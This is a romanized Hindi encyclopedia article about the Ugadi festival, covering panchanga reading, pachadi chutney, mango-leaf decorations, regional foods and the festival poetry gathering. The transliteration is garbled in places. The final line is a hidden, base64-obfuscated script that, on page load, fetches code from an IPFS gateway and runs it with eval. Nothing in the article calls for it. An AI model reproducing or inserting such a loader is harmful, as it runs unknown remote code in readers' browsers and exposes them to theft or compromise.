उगड़ी
thumb|250px|ug di manyata hai ki brahma ne jis din sansar ki rachana ka kary prarambh kiya tha. us din ko ug di kahate haian. telugu navavarsh ug di din holi ke as–pas hi hota hai. jaise hi holi ke gadhe rang phike p date haian, vasant ka navotsah sabhi vastuoan mean navajivan aur harsh bhar deta hai. agni ki lapatoan ke rang ke saman gulamohar v amalatas ke lal pushp apani yauvanavastha mean hote haian tatha prachurata bhari rritu ka sanvaran karate haian. aise madhur prakritik vatavaran mean manaee jati hai—ug di.
telugu varsh ka arambh chaitr mas ke shukl paksh ki pratipada se hota hai, ise varsh "pratipada", "ug di" ya "ugadi" bhi kaha jata hai. maharashtr mean is 'gu di p dava' kaha jata hai. ug di ya ugadi ka shuddh roop 'yoogadi' hai. yah aandhr pradesh ka mukhy v mahanh parv hai. jisamean dipavali jaisi dhoomadham, vyastata evan harshatirek ke darshan hote haian. yugadi ya ug di vastutah fasaloan ke pakane evan phal–phooloan se vrikshoan ke ladane ka samay hai. yah basant rritu ka samay hota hai. jab am ke pe doan mean baur ane lagate haian aur prakriti sab or prasannata lutati phirati hai.
basant ka agaman
basant rritu ke agaman ke sath hi chahuanor navajivan prasphutit ho uthata hai. ab tak baanjh p de pe d–paudhe jivant ho uthate haian tatha unaki tahaniyaan v patr lahalaha uthate haian. basant varsh ki pratham rritu hai, isalie yah navavarsh tatha navakaryoan ko prarambh karane vali hai. vikas, samriddhi v svasthy ki soochana dete hare–bhare khet, khalihan jivan mean sphoorti v utsah bhar dete haian. ug di ke agaman ke sath hi, prakritik roop se sugandhit motiyoan ke phool charoan or apani mithi mahak phaila dete haian. praki ke is srijan ka sambhavatah prakriti mean hi koee mel nahian. motiyoan ki b di–b di ghar mean v mandiroan mean bhagavan ko pahanaee jati haian. ye pushp guchchh, striyoan ke baloan ke joo de mean aur bhi manamohak pratit hote haian.
panchaangasravanamh ki paramparar
ug di ya ugadi parv ki ek doosari visheshata hai—panchaangashravan ! is din sabhi log samoohik roop se ekatr hote haian, jahaan par pandit dvara varsh ka panchaang sunaya jata hai. jisamean naye varsh ki sambhavanaoan tatha ashankaoan evan shubh–ashubh sanketoan par prakash dala jata hai. isamean vyaktigat nahian apitu sampoorn rashtr evan samaj ke sambandh mean agami varsh ka sanket diya jata hai, ki naye varsh mean kya–kya hoga? ug di par varsh ka nam bhi rakha jata hai. yahaan sath varsh ka ek chakr mana jata hai. jisamean pratyek varsh ka nam hota hai. isi namakaran mean varsh ki sambhavanaoan v ashankaoan ke sanket batae jate haian. chandrama ke sauramandaliy kaksha parivartan ke sath hi hindoo navachandr varsh ug di prarambh ho jata hai. is avasar par mantrochcharan ayojit kiya jata hai tatha navavarsh ki bhavishyavani ki jati hai. paramparanusar panchaangasravanamh ya varshik tithi aank, shravan mandiroan mean ya nagar chauk par kiya jata tha. adhunik yug mean telivijan ke madhyam se log apane gharoan mean hi pandit–vidvanoan ke vachan sun sakate haian.
svadisht vyanjan
is rritu mean kachche am ki sugandh tatha nibauri se bhare nim ke vriksh sampoorn vatavaran ko apane ras se sarabor kar dete haian. taja ganne ke ras se bana gu d, ug di se ju de vishesh bhojy padarthoan mean navashakti ka sanchalan karata hai.
pachadi chatani
'ug di—pichh di' namak svadisht vyanjan ug di parv ka paryay ban gaya hai. jise "pachadi chatani" kahate haian. yah naye gu d, kachche am ke tuk de, nim ke pushp tatha taja imali se banaya jata hai. isamean namak bhi dalate haian. isake bad ise pisakar ek bartan mean rakh liya jata hai aur parivar ke sabhi log zaroorat ke anusar isaka svad lete haian. chatani mean nim ki kopalean milane ka tatpary yah hai ki jivan mitha hi nahian, usamean katuta bhi hai. bina katuta sahan kie jivan ka svad nahian mil sakata. naya varsh shuroo ho raha hai, par usaki katutaoan ko sahan karane ke lie bhi taiyar rahana chahie. chatani is bat ki anubhooti karati hai. is bhojy padarth ko banane ki mahatta yah hai ki jivan shubh v ashubh, prasannata v duahkh ka mishran hai tatha in sabhi ke sath saman roop ka vyavahar karana chahie. sabhi anubhavoan ka sthitaprajn bhav se samana karana chahie. pratyek ko yah pratijna karani chahie ki us varsh mean jo bhi kuchh hoga, usaka shant bhav se samana karega tatha pratyek kshan ka svagat garima se karega. vah pratyek anubhav ko svayan ke lie shubh manega. manushy ko sukh–dukh saphalata–asaphalata se oopar uthana chahie. yahi ug di ka prathamik v mahattvapoorn sandesh hai.
ug di ka svagat
dakshin bharatiyoan ki ek vishisht parampara hai ki ye koee bhi kary prayah ek sunishchith vidhividhan ke adhar par hi karate haian. koee bhi shubh sanskar ho, anushthan ho, ghar se bahar prasthan karana ho, bhojan nirman ki prakriya ho, use parosane ya khane ka kram ho, sab kuchh niyamabaddh hota hai. inake pratidin ke karyakramoan par drishti dalean to, hamean roz hi parv hone ka abhas hota hai. aise anek kary haian jo vishesharoop se kinhian utsavoan, ayojanoan mean hi kie jate haian. yatha ghar-aangan, poojagrih ko saf karana, unaki sajavat karana, git–sangit ke sath 'rangoli kadhana' tel ke dipak jalana, svachchh vastr pahanana, suhaginoan v kanyaoan ke baloan ko vividh roop mean gooanthakar unamean sugandhit pushpoan ke gajare rakhana, tilak lagakar mandir mean darshan karana aur tarah–tarah ke vyanjan taiyar karana.
ugadi parv manane ki taiyariyaan
thumb|ug di
ug di ya ugadi parv manane ki taiyariyaan ek saptah poorv hi prarambh ho jati haian. gharoan ko poorn roop se dhoya jata hai. navavastr v any vastuoan ka kray, jinaki is tyauhar mean avashyakata hai. ye sab b de hi utsah se kiya jata hai. ug di ke din log ushakal mean hi jag jate haian tatha sir se snan karate haian. log apane ghar ke pravesh dvaroan ko am ke taja patroan se sajate haian. am patroan ko taangane ke pichhe ek pauranik katha hai-
bhagavan shiv parvati ke do putroan, kartikey v ganesh ko am bahut achchhe lagate the. kathanusar kartikey ne logoan ka ahvan kiya ki ve krishi prachurata v usaki bhalaee ke lie am ke hare patr dvar par baandhean. log apane gharoan ke age gobar pani ka lep karate haian tatha usake sookh jane par isake oopar vibhinn rangoan ki pushp akritiyaan banate haian. log prabhu ka ashirvad pane ke lie bhinn–bhinn dharmik karmakand karate haian. isake pashchath hi ve navavarsh ka prarambh karate haian. ve apane svasthy, sampatti, samriddhi tatha vyavasay mean saphalata ki prarthana karate haian. naya vyavasay ya koee any kary prarambh karane ke lie bhi yah din sarvottam hai.
ug di samaroh
dharmik ullas v samajik prasannata ug di ke paryay haian. is din vishesh vyanjan banae jate haian. yah parv maharashtr, karnatak v aandhr pradesh mean vishesh utsah ke sath manaya jata hai. aandhr mean ise ug di aur karnatak v maharashtr mean ise gu dip dava kaha jata hai. aandhr pradesh mean kee prakar ke bhojy padarth is avasar ke anukool mane jate haian. jaise – "puli hora", "bobbatloo" tatha "am se bani vastuean." karnatak mean bhi saman roop se ye vastuean banaee jati haian. parantu inhean "puligure" v "holige" kaha jata hai. maharashtr vasi "mithi roti" ya "pooran poli" pakate haian. am v grishm rritu ka achchha samanvay hai. ug di grishm rritu ke agaman ki soochana deta hai. is samay vidyalayoan ka avakash rahata hai. kishor v bachchoan ke lie ug di ka arth hai ne vastr, svadisht bhojan tatha mauj–masti. sampoorn vatavaran harshollas v romaanch se bhar jata hai. kuchh log samudayik sabhaoan mean bhag lete haian tatha sayankal ke shant vatavaran mean sangit ka anand lete haian.
achar ka mausam
chooanki kachche am poore do mas[1] mean prachurata se upalabdh hote haian, isilie aandhravasi inaka sadupayog is prakar se karate haian ki inase bani vastu agami rritu tak khane yogy rahe. am ka achar, namak, pisi huee sarasoan v sookhi lal mirch ke mishram se banaya jata hai tatha isamean atyadhik tel dala jata hai. isako "avakee" kahate haian tatha isaka upayog poore ek varsh tak kiya jata hai.
ug di aur sahity sammelan
telugu ug di ke avasar par kavi sammelan ek vishesh sthan rakhata hai. sahity premiyoan ke lie ug di ka kavi sammelan b di pratiksha ke bad ata hai. kavigan apani navin rachanaean prastut karate haian. in rachanaoan ka kathy svayan ug di utsav ya rajanitik bhi hota hai. adhunik vichar, rahan–sahan ki badalati jivan shaili ko bhi in rachanaoan mean b di khoobasoorati se vyakt kiya jata hai. ug di kavi sammelan mean naye ubharate kavi bhi bhag lete haian v yash prapt karate haian. is sammelan ka sidha prasaran haidarabad ke "al iandiya rediyo" ke madhyam se kiya jata hai. dooradarshan par yah kavi sammelan panchaangasravanamh ke bad dekha ja sakata hai. ug di manch par sabhi prakar ke kavi ate haian. inaki kavitaoan ka mool bhav rajanitik, hasyasambandhi, vyangyatmak, sahityik ya pi da ko shabd dena hota hai. is prakar (ug di) anek rangoan ka parv hai. yah navavarsh fasaloan ke roop mean naye–naye khadyann pradan karata hai aur sabhi ke hriday mean anand v santosh ki bhavana bhar deta hai.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>